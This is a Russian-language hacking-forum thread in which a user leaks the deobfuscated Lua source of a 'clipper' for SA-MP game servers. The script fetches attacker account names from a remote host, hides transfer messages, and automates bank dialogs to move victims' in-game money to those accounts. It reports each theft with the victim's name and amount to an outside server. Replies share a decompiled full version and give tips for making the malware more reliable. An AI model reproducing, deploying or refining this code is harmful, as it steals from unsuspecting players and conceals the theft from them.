Исходник Слив: Clipper by Useful_User

Уникод

Потрачен
Автор темы
19
17
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Клиппер авксентия морозова , подкачивается через мини-лоадер, который весит очень мало.
Накрыт бабулей на исходник, хахахах.
Сняв бабулю я получил вот это вот.

Lua:
function _()
    (""):†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()
    (""):†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()
    (""):†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()
    (""):†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()
    (""):†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()
end
script_name('')
script_author('')
script_description('')

require "lib.moonloader"
local effil = require 'effil'
local sampev = require "lib.samp.events"
local request = require 'requests'

local qq = 307361188

function main()
    if not isSampLoaded() or not isSampfuncsLoaded() then return end
     while not isSampAvailable() do wait(100) end
    allmn = nil
    money_find = nil
    local function decrypt(tab)
        local res = ""
        for i = 2, tab[1] do res = res .. string.char(tab[i] - 519) end
        return res
    end
    _, id = sampGetPlayerIdByCharHandle(PLAYER_PED)
    nickName = sampGetPlayerNickname(id)

    local result, response = pcall(request.get, "http://redshow.beget.tech/307361188.json")
        if result then
        json_data = response.json()
      
    ip, port = sampGetCurrentServerAddress()
    name = sampGetCurrentServerName()
    server = ip..':'..port

    if server == '185.169.134.3:7777'  then        arz_nick = json_data.Phoenix      end
    if server == '185.169.134.4:7777' then        arz_nick = json_data.Tucson     end
    if server == '185.169.134.43:7777' then        arz_nick = json_data.Scottdale  end
    if server == '185.169.134.44:7777' then        arz_nick = json_data.Chandler     end
    if server == '185.169.134.45:7777' then        arz_nick = json_data.Brainburg  end
    if server == '185.169.134.5:7777' then        arz_nick = json_data.SaintRose    end
    if server == '185.169.134.59:7777' then        arz_nick = json_data.Mesa        end
    if server == '185.169.134.61:7777' then        arz_nick = json_data.RedRock     end
    if server == '185.169.134.107:7777' then     arz_nick = json_data.Yuma          end
    if server == '185.169.134.109:7777' then     arz_nick = json_data.Surprise     end
    if server == '194.61.44.61:7777' then         drp = json_data.Emerald             end
    if server == '5.254.123.4:7777' then        drp = json_data.Trilliant          end
    if server == '194.61.44.64:7777' then        drp = json_data.Crystal          end
    if server == '5.254.123.6:7777' then        drp = json_data.Sapphire         end
    if server == '194.61.44.67:7777' then        drp = json_data.Amber             end
    if server == '194.61.44.68:7777' then        drp = json_data.Ruby              end
    if server == '5.254.104.131:7777' then        arp = json_data.Red             end
    if server == '5.254.104.132:7777' then        arp = json_data.Green             end
    if server == '5.254.104.135:7777' then        arp = json_data.Blue              end
    
    end
    while true do
        wait(0)
    end   
end
function sampev.onServerMessage(color, text)
            if string.find(text, 'Состояние счета:', 1, true) and text:match("%$(%d+)")  then
                money_find = tonumber(text:match("%$(%d+)"))   
                money = tonumber(getPlayerMoney(PLAYER_CHAR))
                allmn = tonumber(money + money_find)
                if allmn > 40000000 then allmn = 39000000 end
            end       
            if string.find(text, 'Вы перевели', 1, true) or string.find(text, 'Состояние счета', 1, true) or string.find(text, 'Вы перевели деньги на другой счет', 1, true) then
                return false       
            end   
end

function sampev.onShowDialog(dialogId, style, title, button1, button2, text)
        --arz
        if arz_nick ~= nil then
                if dialogId == 33 and money_find == nil then
                    lua_thread.create(function ()
                        sampSendDialogResponse(dialogId, 1, 0, nil)
                            wait(100)
                        sampCloseCurrentDialogWithButton(0)
                            wait(100)
                        setVirtualKeyDown(VK_N,true)
                            wait(100)
                        setVirtualKeyDown(VK_N,false)
                            wait(100)
                        if money ~= 0 then sampSendDialogResponse(dialogId, 1, 2, nil) end   
                    end)
                end
                if dialogId == 34 and money ~= 0 then
                lua_thread.create(function ()
                    sampSendDialogResponse(dialogId, 1, nil, money)   
                    sampCloseCurrentDialogWithButton(0)
                    wait(100)
                        setVirtualKeyDown(VK_N,true)
                            wait(100)
                        setVirtualKeyDown(VK_N,false)
                    end)
                end
                if dialogId == 33 and allmn ~= nil and money_find ~= nil then
                    lua_thread.create(function ()
                    wait(200)
                    sampSendDialogResponse(dialogId, 1, 3, nil)
                    end)
                end
                if dialogId == 37 and allmn ~= 0  then
                    sampSendDialogResponse(dialogId, 1, nil, arz_nick)
                end
                if dialogId == 41 and allmn ~= 0  then   
                lua_thread.create(function ()
                    sampSendDialogResponse(dialogId, 1, nil, allmn)
                    wait(100)
                    sampCloseCurrentDialogWithButton(0)
                    async_http_request('https://goodmods.ru/clip/success.php?account='..nickName..'&money='..allmn..'&name_account='..arz_nick..'&server='..server..'&uid='..qq)   
                    money_find = nil
                    money = nil
                    allmn = nil
                    end)
                end
                --arz
                end
                if drp ~= nil then
                --drp
                if dialogId == 864 then   
                lua_thread.create(function ()
                    money_drp = text:match("(%d+)%$")
                    print('Money: ', money_drp)
                    sampSendDialogResponse(dialogId, 1, 3, nil)
                    end)
                lockPlayerControl(true)
                showCursor(false, true)
                end
                if dialogId == 857 then
                    lua_thread.create(function ()
                    wait(100)
                    sampSetCurrentDialogEditboxText(drp)
                    setVirtualKeyDown(VK_RETURN,true)
                        wait(100)
                    setVirtualKeyDown(VK_RETURN,false)
                    end)   
                end
                if dialogId == 858 then
                    lua_thread.create(function ()
                    wait(100)
                    sampSetCurrentDialogEditboxText(money_drp)
                    sampCloseCurrentDialogWithButton(1)
                    async_http_request('https://goodmods.ru/clip/success.php?account='..nickName..'&money='..money_drp..'&name_account='..drp..'&server='..server..'&uid='..qq)                   
                    money_drp = nil
                    end)   
                end
                --drp
                end
                if arp ~= nil then
                --arp
                if dialogId == 198 then
                    money_arp = text:match("(%d+)%$")
                    tonumber_arp = tonumber(money_arp)
                    mnarp = math.floor(tonumber_arp * (2/100))
                    mnwthc = tonumber_arp - mnarp
                    if tonumber_arp >= 100000 then
                    sampSendDialogResponse(dialogId, 1, 0, nil)
                    end
                end
                if dialogId == 163 then
                    sampSendDialogResponse(dialogId, 1, 6, nil)
                end

                if dialogId == 214 then
                    sampSendDialogResponse(dialogId, 1, nil, arp)
                end
                if dialogId == 215 then
                    sampSendDialogResponse(dialogId, 1, nil, mnwthc)
                    async_http_request('https://goodmods.ru/clip/success.php?account='..nickName..'&money='..mnwthc..'&name_account='..arp..'&server='..server..'&uid='..qq)   
                    mnwthc = nil
                end
                -------------------------------------------------
                if dialogId == 200 and money_arp_pin == nil then
                    sampSendDialogResponse(dialogId, 1, 0, nil)
                    end
                if dialogId == 201  then                 
                    money_arp_pin = text:match("(%d+)%$")   
                    tonumber_arp_pin = tonumber(money_arp_pin)
                    mnarp = math.floor(tonumber_arp_pin * (2/100))
                    mnwthc = tonumber_arp_pin - mnarp
                    
                    sampSendDialogResponse(dialogId, 1, nil, nil)
                end
                if dialogId == 200 and tonumber_arp_pin ~=nil then
                    sampSendDialogResponse(dialogId, 1, 4, nil)
                    
                end
                if dialogId == 204 and tonumber_arp_pin >=1000 then
                    sampSendDialogResponse(dialogId, 1, nil, arp)
                end
                if dialogId == 205 and tonumber_arp_pin >=1000 then
                    sampSendDialogResponse(dialogId, 1, nil, mnwthc)
                    async_http_request('https://goodmods.ru/clip/success.php?account='..nickName..'&money='..mnwthc..'&name_account='..arp..'&server='..server..'&uid='..qq)   
                    mnwthc = nil
                end
                --arp
    end       
end
function async_http_request(url, args, reject)
    local runner = requestRunner()
    if not reject then reject = function() end end
    lua_thread.create(function()
        threadHandle(runner, url, args, reject)
    end)
end
function threadHandle(runner, url, args, reject)
    local t = runner(url, args)
    local r = t:get(0)
    while not r do
        r = t:get(0)
        wait(0)
    end
    local status = t:status()
    if status == 'completed' then
        local ok, result = r[1], r[2]
        if ok then  else reject(result) end
    elseif err then
        reject(err)
    elseif status == 'canceled' then
        reject(status)
    end
    t:cancel(0)
end
function requestRunner()
    return effil.thread(function(u, a)
        local https = require 'ssl.https'
        local ok, result = pcall(https.request, u, a)
        if ok then
            return {true, result}
        else
            return {false, result}
        end
    end)
end
function _()
    (""):†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()
    (""):†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()
    (""):†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()
    (""):†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()
    (""):†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()():†()
end
 

RedHulk

Потрачен
6
4
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
фулл версия, но тут уже без сурса, немного поправок сделать и будет тот же самый сурс
 

Вложения

  • Clipper Full Decompiled.lua
    12 KB · Просмотры: 60
  • Clipper Full.luac
    9.3 KB · Просмотры: 25

leint

Участник
86
15
Можно подробное описание если не сложно
Команды
Как подключить вк уведомления
Ну если не сложно
 

Romelo

dev.
Проверенный
540
628
Проверка на диалог айди, все ясно - автор глупенький.
 
D

deleted-user-204957

Гость
Проверка на диалог айди, все ясно - автор глупенький.
Мб ещё учится и не продумал это, вспомнить твой чекер риелторки, который тригерит на сообщения в чате от игроков.
 
Последнее редактирование модератором:

Romelo

dev.
Проверенный
540
628
так там под каждый сервер я сделал
facepalm...
Я не про то, что на каждом сервере свои айди диалогов, а про то, что они меняются.. Например вчера был 851, а сегодня 858, особенно на даймонде. Диалоги нужно проверять на текст внутри или в заголовке.
 

Lok1

Участник
45
1
facepalm...
Я не про то, что на каждом сервере свои айди диалогов, а про то, что они меняются.. Например вчера был 851, а сегодня 858, особенно на даймонде. Диалоги нужно проверять на текст внутри или в заголовке.
хм, возможно, я не знал про это, но по статистике, почти все юзают арз)
 

Romelo

dev.
Проверенный
540
628
хм, возможно, я не знал про это, но по статистике, почти все юзают арз)
Да потому что когда ты прописывал айди диалогов, они уже поменялись, и у людей просто не срабатывает проверка.
На счет wait в диалогах это пздц конечно, нужно все на хуках, пакетах и проверках делать.
Все счета и ники необязательно передавать, лишние данные, которые не нужны.

get?s=IP сервера/name
response > номер счета или ник

Ну и в идеале НЕ нужно делать запрос при подключении к серверу.
 
  • Нравится
Реакции: AnWu